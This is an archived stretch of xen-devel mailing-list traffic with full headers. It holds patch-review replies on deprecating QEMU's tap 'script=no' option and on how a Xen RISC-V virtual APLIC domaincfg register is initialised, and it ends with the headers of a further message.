User-Agent: Mutt/2.3.2 (2026-04-26)
X-Scanned-By: MIMEDefang 3.0 on 10.30.177.17
X-Mimecast-MFC-PROC-ID: 4MGFv6I-RVYQYNCIvjy7YZ4Egz7reOs-APgzJcpMw3k_1783936083
X-Mimecast-Originator: redhat.com
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
X-purgate-ID: tlsNG-4011c0/1783936090-3D777248-807E25F6/0/0
X-purgate-type: clean
X-purgate-size: 2111

On Mon, Jul 13, 2026 at 12:37:54PM +0300, Vladimir Sementsov-Ogievskiy wrote:
> On 13.07.26 10:45, Markus Armbruster wrote:
> > Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru> writes:
> > 
> > > The interface is ambiguous, as "no" is valid file name. So,
> > > using "no" as a special value to disable script is deprecated.
> > > Use an empty string ("script=" / "downscript=") instead.
> > > 
> > > In a future version, "no" will be treated as a plain file name, just
> > > like any other non-empty value.
> > > 
> > > Document the deprecation in docs/about/deprecated.rst, qapi/net.json,
> > > and qemu-options.hx. Update other docs to use empty string instead of
> > > "no". Add a warning.
> > > 
> > > Signed-off-by: Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>
> > 
> > [...]
> > 
> > > diff --git a/net/tap.c b/net/tap.c
> > > index fedd48c48d2..1ec9e5ebe6f 100644
> > > --- a/net/tap.c
> > > +++ b/net/tap.c
> > > @@ -103,6 +103,8 @@ static bool tap_is_explicit_no_script(const char *script_arg)
> > >       }
> > >       if (strcmp(script_arg, "no") == 0) {
> > > +        warn_report("script=no/downscript=no is deprecated; "
> > > +                    "use script=/downscript= instead");
> > 
> > net_init_tap() could pass the parameter name for a simpler error
> > message.  Probably not worth the bother.
> > 
> > >           return true;
> > >       }
> > 
> > In net_init_tap_one():
> > 
> >             qemu_set_info_str(&s->nc, "ifname=%s,script=%s,downscript=%s", ifname,
> >                               script ?: "no", downscript ?: "no");
> > 
> > This sets nc->info_str, which is shown by "info network".  Should we
> > replace "no" by ""?
> > 
> 
> Agree, will do.

Would it be better to not include the script/downscript parameters at
all if they're disabled ?

With regards,
Daniel
-- 
|: https://berrange.com       ~~        https://hachyderm.io/@berrange :|
|: https://libvirt.org          ~~          https://entangle-photo.org :|
|: https://pixelfed.art/berrange   ~~    https://fstop138.berrange.com :|



From xen-devel-bounces@lists.xenproject.org Mon Jul 13 09:57:51 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 13 Jul 2026 09:57:51 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361576.1613763 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjDPz-0007bX-14; Mon, 13 Jul 2026 09:57:43 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361576.1613763; Mon, 13 Jul 2026 09:57:43 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjDPy-0007bQ-To; Mon, 13 Jul 2026 09:57:42 +0000
Received: by outflank-mailman (input) for mailman id 1361576;
 Mon, 13 Jul 2026 09:57:41 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wjDPx-0007aB-84
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 09:57:41 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjDPv-00DGit-7Y
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 11:57:39 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a54b68f-bab6-0a2a0a5309dd-0a2a4503e58a-16
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 11:57:39 +0200
Received: from [209.85.208.171] (helo=mail-lj1-f171.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a54b692-f2d2-0a2a45030019-d155d0abc8da-3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 11:57:39 +0200
Received: by mail-lj1-f171.google.com with SMTP id
 38308e7fff4ca-39ca300db70so13230001fa.2
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 02:57:39 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 2adb3069b0e04-5b01ca55723sm2715221e87.35.2026.07.13.02.57.37
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 13 Jul 2026 02:57:37 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783936658; x=1784541458; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=E8ZFAs9qXx3g/86C5aQ3vsXA/85ozIDf5zoPqhpvTN4=;
        b=Ibbrl77Gz1Hl6iZaMYIGVX7tFGBJdEZ5kVTLq3LnHX+Y9AptqFD3+ITVY4rBvX+i/Y
         BfHlV2bET+PmVUEqcYqDATc5uNGVuER4+XATx7RhaEUO+kLUuA9UcGt1qK8xZDQW4f+X
         1Bgy+H+jZPnN12aKeCRIMs0vARWAJiXaMpMZcIbHi0eU+xnX4wvtr9rR90nUTAkY4/TF
         2Z2Z72xxPiiqP9x52Ws31GpBvFn0CpZ0k6F6trZGtl5Z9dxbf5Y1q7alz5xTAPm/ev1S
         QZOUBbCvsQeuII+Nr1zCJY7t98R3mvr7jGjzj8qpvD2IpXrdh91ZsKH3ASwHn6/tRvXD
         pDJA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783936658; x=1784541458;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=E8ZFAs9qXx3g/86C5aQ3vsXA/85ozIDf5zoPqhpvTN4=;
        b=DTf+C40FWfYOpCNvmlhW/LvZyo/o3n6ol1YvK/yqsJMH0sUCm7gosgT5jTdhYiseLQ
         F7t6OA0OXRB6TaWLkm2h+iMusSPfMmtm5Lu4DfyeUySHII1+Qi/o2lUspK8SV2uGcQiC
         +7yPKBIZwF4JPSo296AFo2KJrr7Ov9a8g+4T7DLGDG3Wdp6bVChMhSYObw8Atwmgccym
         8t/6XNpG9dhpCFvDDx67MWUZkXetBpXVzCRFk5K8C27w38PjkvxQDC/uSq+65oNuVFaD
         +nDtPGWuqGaWSO275kehTKnnunBTxMknajoH183wymRRe5NUASvn4i/oGlLKYJ8WobY0
         eHww==
X-Forwarded-Encrypted: i=1; AHgh+Ro4P95Q2cE4bpGbPrtrmsgHi3Qsbm3FXpjZTT9OEjdtUkuRDDT18YYkhM0ndQ8Ene1RXkV5wZnB/6I=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yzq4O67YY4d3cvyHIep+5nEUSXxSlNKOSQ9vgkk835Eyb7DTxNJ
	+O79UaFBYsWMSYPyRQMo28I5o1ZfakKHMe+FdAi6WJJfLhLL9edIQxYJ
X-Gm-Gg: AfdE7cmOicQZSI2kDarqct3Gimt2WZoEzF+gRE+YvQ6WuM+PlullMJsSDw5S0JYA8Pg
	6jO3rbCHeB1CL0XgFpBmN7VOFl7YQgV5hiJHe2qTUyx8egdislWeOHGdVGWlm3rmXgb7NtEVGQx
	LXi0DkWGtZchtWGPMJs7tr/P5q3Ni6PzUgijrMSLa3fl5nf7vq3WftZtr2YWrStTU5NsVnX0dQy
	ZIT1vXP6EKf6aMME8kbeKBMdSbhaS3BzTzWhyQJWcAovCGtoKhAJ+WcvajAmPaNvw+7/Wq2xsDl
	ANUO1SGrkLMbaPL5JmJBGi3BP5MVvqmxeS2IL/0er6BisAk2iJSWWsYax9yXA7e6zaL/Ev9LaiY
	w/TYvYlF4xKBy0kWVwXat3P+ByuTH0wRn6/BGM1el6aMKKaC10OHRR3FswdMlOPynXkMzeN3gKn
	YcHJ3FX2NvOgzK0/6ySJHqlxnDJZnMCGrROcqQKNM5AwwFV1YgxQbLF6aW56x38YsmCmQvAn5wH
	zZwEg==
X-Received: by 2002:ac2:50d8:0:b0:5ae:b357:1d1a with SMTP id 2adb3069b0e04-5b02356ca07mr1111984e87.8.1783936658234;
        Mon, 13 Jul 2026 02:57:38 -0700 (PDT)
Message-ID: <2d0877f5-2fc1-4f53-b662-c377788e02ca@gmail.com>
Date: Mon, 13 Jul 2026 11:57:36 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5 17/26] xen/riscv: introduce minimal virtual APLIC
 (vAPLIC) infrastructure
To: Jan Beulich <jbeulich@suse.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
 <1f51410c080599a5c80173398d9db837b8718356.1783331040.git.oleksii.kurochko@gmail.com>
 <6a4adfa7-ec9a-4cbd-a9e2-571293cbb1ed@suse.com>
 <69d18359-3fae-4618-b46a-ad52bcf1a027@gmail.com>
 <d38333f3-0dd0-43ad-ab3d-c6366ae8c74f@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <d38333f3-0dd0-43ad-ab3d-c6366ae8c74f@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-33051d/1783936659-C1359CF4-B2FCC63B/10/73395122804
X-purgate-type: spam
X-purgate-size: 3742



On 7/13/26 8:41 AM, Jan Beulich wrote:
> On 10.07.2026 17:52, Oleksii Kurochko wrote:
>> On 7/9/26 5:39 PM, Jan Beulich wrote:
>>> On 06.07.2026 17:57, Oleksii Kurochko wrote:
>>>> At the current development stage, only domain vINTC init and deinit
>>>> operations are required, so implement those first.
>>>>
>>>> Initialize vAPLIC's domaincfg to with the interrupt-enable bit set and
>>>> MSI delivery mode selected as the current solution is exepcted to have
>>>> always IMSIC, and initialize vintc->ops.
>>>
>>> How would domaincfg be initialized on real hardware?
>>
>> Xen will initialize that in aplic_init_hw_interrupts():
>> writel(APLIC_DOMAINCFG_IE | APLIC_DOMAINCFG_DM, &aplic.regs->domaincfg);
> 
> I.e. it is very much something the OS should do.
> 
>> I can see that maybe
>>> firmware would have to set DM suitably (and you may mean to take firmware's
>>> role here).
>>
>> I don't think that firmware will do that (and OpenSBI for example
>> doesn't do that). If firmware can do that we for sure want to control in
>> Xen what is written to ->domaincfg.
>>
>>> But isn't setting at least IE entirely the OSes responsibility?
>>
>> At least, Linux setups ->domaincfg once at the boot time:
>>
>> 	/* Setup APLIC domaincfg register */
>> 	val = readl(priv->regs + APLIC_DOMAINCFG);
>> 	val |= APLIC_DOMAINCFG_IE;
>> 	if (msi_mode)
>> 		val |= APLIC_DOMAINCFG_DM;
>> 	writel(val, priv->regs + APLIC_DOMAINCFG);
>> 	if (readl(priv->regs + APLIC_DOMAINCFG) != val)
>> 		dev_warn(priv->dev, "unable to write 0x%x in domaincfg\n", val);
>>
>> And don't touch this register anymore, even for interrupt disablement it
>> isn't used.
>>
>> So Xen can just does once:
>> writel(APLIC_DOMAINCFG_IE | APLIC_DOMAINCFG_DM, &aplic.regs->domaincfg);
>>
>> and then just properly handle access of a guest to domaincfg.
> 
> Xen can do this for itself, sure. But shouldn't domaincfg as seen by guests
> start out 0 then?

Now I think I understand your point.

I agree that it should start from 0 (or from 0x80000000, since bits 
31:24 are read-only and fixed to 0x80). All other bits should be set or 
cleared by the guest and written to vaplic->regs.domaincfg when the 
guest accesses the vAPLIC domaincfg register.

In that case, domain_vaplic_init() should initialize ->domaincfg as:
   vaplic->regs.domaincfg = APLIC_DOMAINCFG_RO;

instead of:
   vaplic->regs.domaincfg = APLIC_DOMAINCFG_IE | APLIC_DOMAINCFG_DM |
                          APLIC_DOMAINCFG_RO;

> 
>>>> --- a/xen/arch/riscv/include/asm/aplic.h
>>>> +++ b/xen/arch/riscv/include/asm/aplic.h
>>>> @@ -15,6 +15,8 @@
>>>>    
>>>>    #include <asm/imsic.h>
>>>>    
>>>> +/* domaincfg bits 31:24 are read-only 0x80 */
>>>> +#define APLIC_DOMAINCFG_RO      (0x80U << 24)
>>>
>>> Bit 7 is also documented as read-only 0. Wouldn't the comment better reflect
>>> that as well?
>>
>> Not sure, bits 31:24 are read-only *0x80* but bit 7 is read-only *0*.
> 
> And would it hurt if the comment said so, to avoid any ambiguity?

Of course, it won't I will update the comment.

> 
>>>>    #define APLIC_DOMAINCFG_IE      BIT(8, U)
>>>>    #define APLIC_DOMAINCFG_DM      BIT(2, U)
>>>
>>> Wouldn't you better spell out BE as well?
>>
>> I can add:
>>     #define APLIC_DOMAINCFG_BE       BIT(0, U)
>>
>> But it isn't used at the moment (Linux also defines it but never
>> actually using it). Do you want still to add that now?
> 
> Imo it would be better to have a complete set of definitions. If you
> don't allow guests to set this bit, perhaps to emit a sufficiently
> informative debug log messages you may want to use the #define?

Agree, it make sense.

Thanks.

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Mon Jul 13 10:25:21 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 13 Jul 2026 10:25:21 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361591.1613775 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjDqa-0003Qo-62; Mon, 13 Jul 2026 10:25:12 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361591.1613775; Mon, 13 Jul 2026 10:25:12 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjDqa-0003Qh-35; Mon, 13 Jul 2026 10:25:12 +0000
Received: by outflank-mailman (input) for mailman id 1361591;
 Mon, 13 Jul 2026 10:25:10 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <vsementsov@yandex-team.ru>) id 1wjDqY-0003Qb-H1
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 10:25:10 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjDqW-006ybC-QP
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 12:25:08 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <vsementsov@yandex-team.ru>)
 id 6a54bcfd-e002-0a2a0a5209dd-0a2a450bdbfc-36
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 12:25:08 +0200
Received: from [178.154.239.200] (helo=forwardcorp1d.mail.yandex.net)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <vsementsov@yandex-team.ru>)
 id 6a54bd03-b7da-0a2a450b0019-b29aefc8c5b4-3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 12:25:07 +0200
Received: from mail-nwsmtp-smtp-corp-main-68.klg.yp-c.yandex.net
 (mail-nwsmtp-smtp-corp-main-68.klg.yp-c.yandex.net
 [IPv6:2a02:6b8:c42:94a9:0:640:a3fa:0])
 by forwardcorp1d.mail.yandex.net (postfix) with ESMTPS id E245480A6F;
 Mon, 13 Jul 2026 13:25:06 +0300 (MSK)
Received: from [IPV6:2a02:6bf:8080:c5a::1:8] (unknown [2a02:6bf:8080:c5a::1:8])
 by mail-nwsmtp-smtp-corp-main-68.klg.yp-c.yandex.net (smtpcorp) with ESMTPSA
 id 5PLwO20aCOs0-DjAPAf6i; Mon, 13 Jul 2026 13:25:06 +0300
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=default header.d=yandex-team.ru header.i="@yandex-team.ru" header.h="From:In-Reply-To:Cc:Date:References:To:Subject:Message-ID"
Precedence: bulk
X-Yandex-Fwd: 1
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yandex-team.ru;
	s=default; t=1783938306;
	bh=Xb6lTjMjgoo21SCvMGQmRN28gYkol6ja+M50LeEPL2Y=;
	h=From:In-Reply-To:Cc:Date:References:To:Subject:Message-ID;
	b=n9xOuQpm6GoMlPI1FK7FCzud2bBqTOOjHsNOgKE4vGLewqx7WWln0nMUBvZLnFPCU
	 F1/+B1MVtUNPVonAy3O/5V90V9eJkcpbzi9EZXBqqGAXrLOR/a2/y0lD0ozskJLxif
	 25nRapiDDO3NFqrsQwZdhPAl7mUnlxtFtPioRJkM=
Authentication-Results: mail-nwsmtp-smtp-corp-main-68.klg.yp-c.yandex.net; dkim=pass header.i=@yandex-team.ru
Message-ID: <4062b9a2-be54-4a32-8d7d-8eb101576afb@yandex-team.ru>
Date: Mon, 13 Jul 2026 13:25:05 +0300
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v18 03/14] net/tap: deprecate "no" as special value for
 script/downscript
To: =?UTF-8?Q?Daniel_P=2E_Berrang=C3=A9?= <berrange@redhat.com>
Cc: Markus Armbruster <armbru@redhat.com>, jasowang@redhat.com,
 mst@redhat.com, peterx@redhat.com, farosas@suse.de,
 raphael.s.norwitz@gmail.com, bchaney@akamai.com, qemu-devel@nongnu.org,
 pbonzini@redhat.com, yc-core@yandex-team.ru, mark.caveayland@nutanix.com,
 Pierrick Bouvier <pierrick.bouvier@oss.qualcomm.com>,
 Sergio Lopez <slp@redhat.com>, Zhao Liu <zhao1.liu@intel.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Anthony PERARD <anthony@xenproject.org>,
 "Edgar E. Iglesias" <edgar.iglesias@gmail.com>,
 Bernhard Beschow <shentey@gmail.com>,
 Alistair Francis <Alistair.Francis@wdc.com>,
 Palmer Dabbelt <palmer@dabbelt.com>, Jason Wang <jasowangio@gmail.com>,
 Eric Blake <eblake@redhat.com>,
 "open list:Incompatible changes" <devel@lists.libvirt.org>,
 "open list:X86 Xen CPUs" <xen-devel@lists.xenproject.org>,
 "open list:e500" <qemu-ppc@nongnu.org>,
 "open list:Microchip PolarFi..." <qemu-riscv@nongnu.org>
References: <20260710191809.721154-1-vsementsov@yandex-team.ru>
 <20260710191809.721154-4-vsementsov@yandex-team.ru>
 <87ech7uycy.fsf@pond.sub.org>
 <d1ea2c42-7990-4529-b9f8-d0d9e35ffd51@yandex-team.ru>
 <alS0RZqeyEOVy6e8@redhat.com>
Content-Language: en-US
From: Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>
In-Reply-To: <alS0RZqeyEOVy6e8@redhat.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-42698a/1783938308-4A76A9ED-7CF933B3/0/0
X-purgate-type: clean
X-purgate-size: 2094

On 13.07.26 12:47, Daniel P. BerrangÃ© wrote:
> On Mon, Jul 13, 2026 at 12:37:54PM +0300, Vladimir Sementsov-Ogievskiy wrote:
>> On 13.07.26 10:45, Markus Armbruster wrote:
>>> Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru> writes:
>>>
>>>> The interface is ambiguous, as "no" is valid file name. So,
>>>> using "no" as a special value to disable script is deprecated.
>>>> Use an empty string ("script=" / "downscript=") instead.
>>>>
>>>> In a future version, "no" will be treated as a plain file name, just
>>>> like any other non-empty value.
>>>>
>>>> Document the deprecation in docs/about/deprecated.rst, qapi/net.json,
>>>> and qemu-options.hx. Update other docs to use empty string instead of
>>>> "no". Add a warning.
>>>>
>>>> Signed-off-by: Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>
>>>
>>> [...]
>>>
>>>> diff --git a/net/tap.c b/net/tap.c
>>>> index fedd48c48d2..1ec9e5ebe6f 100644
>>>> --- a/net/tap.c
>>>> +++ b/net/tap.c
>>>> @@ -103,6 +103,8 @@ static bool tap_is_explicit_no_script(const char *script_arg)
>>>>        }
>>>>        if (strcmp(script_arg, "no") == 0) {
>>>> +        warn_report("script=no/downscript=no is deprecated; "
>>>> +                    "use script=/downscript= instead");
>>>
>>> net_init_tap() could pass the parameter name for a simpler error
>>> message.  Probably not worth the bother.
>>>
>>>>            return true;
>>>>        }
>>>
>>> In net_init_tap_one():
>>>
>>>              qemu_set_info_str(&s->nc, "ifname=%s,script=%s,downscript=%s", ifname,
>>>                                script ?: "no", downscript ?: "no");
>>>
>>> This sets nc->info_str, which is shown by "info network".  Should we
>>> replace "no" by ""?
>>>
>>
>> Agree, will do.
> 
> Would it be better to not include the script/downscript parameters at
> all if they're disabled ?
> 

Unfortunately current default is: use <sysconfdir>/qemu-ifup and
<sysconfdir>/qemu-ifdown if these options are unset. So, omitting
them in info-string would be ambiguous.

-- 
Best regards,
Vladimir


From xen-devel-bounces@lists.xenproject.org Mon Jul 13 10:42:03 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 13 Jul 2026 10:42:03 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361606.1613783 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjE6e-0006Fw-Ca; Mon, 13 Jul 2026 10:41:48 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361606.1613783; Mon, 13 Jul 2026 10:41:48 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjE6e-0006Fp-9y; Mon, 13 Jul 2026 10:41:48 +0000
Received: by outflank-mailman (input) for mailman id 1361606;
 Mon, 13 Jul 2026 10:41:47 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wjE6d-0006Fj-AH
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 10:41:47 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjE6c-0071XM-5y
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 12:41:46 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a54c0b7-e002-0a2a0a5209dd-0a2a450385ce-42
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 12:41:46 +0200
Received: from [209.85.167.45] (helo=mail-lf1-f45.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a54c0e9-f2d2-0a2a45030019-d155a72da404-3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 12:41:45 +0200
Received: by mail-lf1-f45.google.com with SMTP id
 2adb3069b0e04-5b01910b499so2495892e87.0
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 03:41:45 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 2adb3069b0e04-5b01ca4a1bfsm2798773e87.6.2026.07.13.03.41.43
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 13 Jul 2026 03:41:44 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783939305; x=1784544105; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=eCinO4eSOFZGZxYxDonfbBTDYhb7nlzenq687+QCLQ0=;
        b=q9QaPMnM8AGit9wnbaLCMDTAbeGiTtrjl81gUR4WAeTCzYH5R82xB0BED6YpgJMwz0
         Q7v9z+U+/aHcGQDWRP0687d5UDsVyxJ1MqeLg77jJXpzheXywF3yHqK0LKIV5MNRnA8d
         HjVmyc/yRJ2Y8UFs/XnoWQiqTmk3vBu7knoaXsVzYoVbx27Ka61UJEDIjWm9xy1L5sgN
         LRUmqjVbfFCLQ6+sQS+rwAD30/G/6+et61qy4WJ3hwKM3duoWCUe2ChOixh7Dt5k0nCT
         cEHhtGwcPOU9F9OM+0rWo0n1TRgICwpIWKkPcNWeLTlmUdZ5RVhLjYho2P4pkZ34tKOJ
         Lu/g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783939305; x=1784544105;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=eCinO4eSOFZGZxYxDonfbBTDYhb7nlzenq687+QCLQ0=;
        b=AvNuAOeaI+ewho7djrM+60LOJYGngxNYRZlsdlmIR6mBmXWrFLyjwtuK5diN/wUNba
         flb+kSu1kmZxG8M03U9HSvrdOpb4KL5Gt4rKg5mUihXjByvTmqP/A+D0yX6Z2AZ5Unys
         EkmpyVGKnvDaJ/PBYk91R4rp1NXi894fT6mrfK4thfuilJ0XpB45eqkO2oFwxSKsH3D8
         b9zSBJ54Ih+diGCA+K+asb5yAEcmQja/c+ZfddA1Sf20D09wzNHg4SffoJxMaxjoky7E
         5mnUOteI2U7YQUTNmy/zYuIb38dHyfQcWYHFuvLYJ7SquSRN+TjDdGz2vpLi1hzYak3e
         7JDg==
X-Forwarded-Encrypted: i=1; AHgh+RqGZNDQ4G4PGagELl+JD5uD0/MV5RJbtd5avoG/jzViGFYlIkwjGNa/X8ysBf7IlCVn6VwCS/3V+tw=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyxYT8HzLCCKAlpKPvy+xuarPpOjXi8ojTHri1VwCQB+bbFwfqH
	SBV/tRn2BeV/edtqMGO9ZH1tdHHGcaAzL/aKzl+x+UIva/YtCocive4j
